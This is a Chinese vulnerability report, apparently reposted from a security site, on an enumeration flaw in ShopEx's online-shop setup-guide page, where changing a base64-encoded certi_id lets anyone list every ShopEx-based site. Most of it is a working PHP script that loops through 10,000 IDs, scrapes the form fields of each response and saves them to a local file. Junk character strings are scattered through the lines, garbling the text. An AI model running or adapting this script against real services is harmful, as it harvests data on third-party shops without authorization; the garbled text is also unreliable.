ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
) U; x1 C' x$ P/ Z; O# H$ s8 V问题出现在shopex 网店使用向导页面

2 L/ D- x# q  ]

* g3 \% o5 s7 a2 l! L8 T' X% D5 {http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
9 a6 _6 |& G0 A  D" {) j7 M7 p. n; ]


refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}



我们修改certi_id 即可遍历所有使用了ShopEx程序的网站


, d6 t. E* S  z/ m" ?
<?php
; Y: a6 N8 @  C: k3 m' P
                for ($i=1; $i < 10000; $i++) { //遍历
1 [7 v5 W! H" |; M# S
                        ShowshopExD($i);

) Q. l% [3 X) t% ^, p                }

' Y3 h( T; I. R0 d1 j                function ShowshopExD($cid) {
( F0 v% a( Q5 |
4 G' }( N: g) N8 S                $url='http://guide.ecos.shopex.cn/step2.php';

- B4 k% U& u* R9 c$ r4 B3 E                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

3 @0 k1 y# N) R% l# b) u) P        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);
$ l$ w" V5 f9 Z3 _
        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
; E4 d" O  h9 k8 s* G1 K
        if(strpos($result,$refer))
! @5 ?. e7 G5 m
+ _* ~0 d: h2 x$ E3 D        {

% U. t; J" y# C                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
8 m! E8 K/ p# N, g, ^7 h* ]
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
$ a& g* l) Z% |, E
5 k) e" [( ]8 W                foreach ($value[1] as $key) {
2 I! t4 l% {' ^$ h4 G
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
9 V# Y2 T" Z6 ]5 Z! z$ j1 }
                        echo $res[1][0].':'.$res[3][0]."\r\n";

! ^7 y) h* I: m' m1 }, Y, d                        $col =$res[1][0].':'.$res[3][0]."\r\n";

. U" u" w6 c+ ?$ s- ~9 d                        fwrite($fp, $col, strlen($col));
7 P* ^. w4 B& a3 g; }
                }

  t& e! M6 w# |6 P8 m- u4 L( v                echo '--------------------------------'."\r\n";
4 I+ P0 K9 |0 u5 v/ g
                fclose($fp);

        }

* z9 T4 S, ~" ^4 r        flush();
0 q, W  b  x& j# l6 n% v
$ H( f- t0 W" d' d" y% y  P        curl_close($ch);

: R1 u6 F; {" `5 x8 j5 ^$ ~/ i                }
1 U; n5 v, M% ?$ ~' q; C7 B
4 J2 O: g0 m9 i7 S) S1 _1 \?>
漏洞证明：
5 b$ }( [, X4 R3 r0 ~+ |! x$ Ohttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
2 w4 H+ {7 u8 r% q3 g4 [: k